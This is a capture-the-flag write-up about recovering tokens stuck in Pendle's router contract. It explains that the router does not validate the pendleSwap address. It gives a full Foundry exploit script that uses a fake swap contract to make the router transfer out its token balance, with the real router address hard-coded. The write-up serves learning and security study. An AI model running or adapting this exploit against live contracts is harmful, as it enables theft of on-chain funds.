Author: JesJupyter (X/Twitter)
Tony's heart sank as he realized his million-dollar typo had accidentally sent a fortune to Pendle's immutable router contract. Help Tony recover his money.
Reference: https://threesigma.xyz/blog/penpie-exploit
Pendle is a decentralized, permissionless protocol designed for yield trading, enabling users to implement a variety of yield management strategies.
On September 3, 2024, at 6:23 PM UTC, a security vulnerability in the Penpie platform was exploited, resulting in the loss of over $27 million across the Arbitrum and Ethereum networks. The attacker created a fake Pendle market to manipulate rewards, inflating the staking balance and claiming unauthorized funds.
The incident was caused by two major factors:
- Lack of reentrancy protection in
PendleStaking::batchHarvestMarketRewards()
- Penpie’s acceptance of all Pendle Markets as valid pools, despite Pendle Markets, PT, and YT tokens being permissionlessly created.
When we take a look at the Challenge
contract, we can see that the token is directly transferred to 0x00000000005BBB0EF59571E58418F9a4357b68A0
.
When we take a look at the code of 0x00000000005BBB0EF59571E58418F9a4357b68A0
via etherscan, we can see that it is a Pendle Router contract.
It's easy to think that the main idea may be related to the exploit in the Penpie article which could be like accepting all Pendle Markets/Swaps as valid pools.
Take a look at the swapTokenToToken
function.
function swapTokenToToken(
address receiver,
uint256 minTokenOut,
TokenInput calldata inp
) external payable returns (uint256 netTokenOut) {
_swapTokenInput(inp);
netTokenOut = _selfBalance(inp.tokenMintSy);
if (netTokenOut < minTokenOut) {
revert Errors.RouterInsufficientTokenOut(netTokenOut, minTokenOut);
}
_transferOut(inp.tokenMintSy, receiver, netTokenOut);
}
In the _selfBalance
, the balanceOf()
function is called for the given token.
function _selfBalance(address token) internal view returns (uint256) {
return (token == NATIVE) ? address(this).balance : IERC20(token).balanceOf(address(this));
}
So, if we could make inp.tokenMintSy
to be the token that the challenge contract has, we might be able to retrieve the stuck funds.
Take a deep look at the _swapTokenInput
code.
function _swapTokenInput(TokenInput calldata inp) internal {
if (inp.tokenIn == NATIVE) _transferIn(NATIVE, msg.sender, inp.netTokenIn);
else _transferFrom(IERC20(inp.tokenIn), msg.sender, inp.pendleSwap, inp.netTokenIn);
IPSwapAggregator(inp.pendleSwap).swap{value: inp.tokenIn == NATIVE ? inp.netTokenIn : 0}(
inp.tokenIn,
inp.netTokenIn,
inp.swapData
);
}
So, apprently, there is no check on the inp.pendleSwap
address, which is the address that Pendle Router is calling. So we can use our own contract as the pendleSwap
address. It's easy to use inp.tokenIn = NATIVE
since we already has some ETH in the current account. This is like the root cause of the Pendle incident sine all inp.pendleSwap
are considered as valid.
So attack path could be:
- Create a fake Pendle Swap contract.
- Call
swapTokenToToken
withinp.pendleSwap
set to our fake Pendle Swap contract andinp.tokenMintSy
set to the token that we want to retrieve. - Our fake Pendle Swap contract will pass the
swap
call and the contract will transfer the token that we want to retrieve via_transferOut
.
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.0;
import "forge-std/Script.sol";
import {Challenge} from "../src/Challenge.sol";
struct SwapData {
SwapType swapType;
address extRouter;
bytes extCalldata;
bool needScale;
}
enum SwapType {
NONE,
KYBERSWAP,
ONE_INCH,
// ETH_WETH not used in Aggregator
ETH_WETH
}
struct TokenInput {
// Token/Sy data
address tokenIn;
uint256 netTokenIn;
address tokenMintSy;
// aggregator data
address pendleSwap;
SwapData swapData;
}
interface IRouter {
function swapTokenToToken(
address receiver,
uint256 minTokenOut,
TokenInput calldata inp
) external payable returns (uint256 netTokenOut);
}
contract PendleSwap {
function swap(address tokenIn, uint256 amountIn, SwapData calldata swapData) external payable {
}
}
contract TestScript is Script {
function run() public {
Challenge challenge = Challenge(CHALLENGE_ADDRESS);
uint256 deployerPrivateKey = PRIVATE_KEY;
address user = vm.addr(deployerPrivateKey);
vm.startBroadcast(deployerPrivateKey);
IRouter router = IRouter(0x00000000005BBB0EF59571E58418F9a4357b68A0);
PendleSwap pendleSwap = new PendleSwap();
TokenInput memory input = TokenInput(
address(0),
1 ether,
address(challenge.token()),
address(pendleSwap),
SwapData(SwapType.NONE, address(0), new bytes(0), false)
);
router.swapTokenToToken{value: 1 ether}(challenge.PLAYER(), 1 ether, input);
require(challenge.isSolved(), "Not solved");
vm.stopBroadcast();
}
}